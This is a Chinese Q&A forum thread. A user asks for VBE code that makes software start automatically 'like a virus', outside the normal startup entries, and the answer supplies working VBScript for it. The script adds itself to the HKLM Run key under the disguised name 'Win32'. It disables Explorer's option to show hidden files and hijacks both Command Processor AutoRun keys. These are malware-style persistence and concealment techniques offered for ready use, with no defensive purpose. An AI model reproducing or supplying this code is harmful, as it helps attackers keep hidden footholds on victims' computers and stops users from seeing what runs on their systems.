给软件加一个功能

来源：百度知道 编辑：UC知道 时间：2024/09/24 07:26:29
谁能给个代码,,
是VBE文件.
让软件一开机就自动启动..不是那种在启动项里设置的启动,而是想病毒一样自动启动的...谢谢大家啊...帮帮忙

呵呵 ~ 你在代码中加上以下代码就行了 自启动 且不在启动项中显示~

dim wsh,FA,FSO
set fso=CreateObject("Scripting.FileSystemObject")
Set FA= FSO.GetFile(WScript.scriptFullName)
set wsh=CreateObject("WScript.Shell")
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""
wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""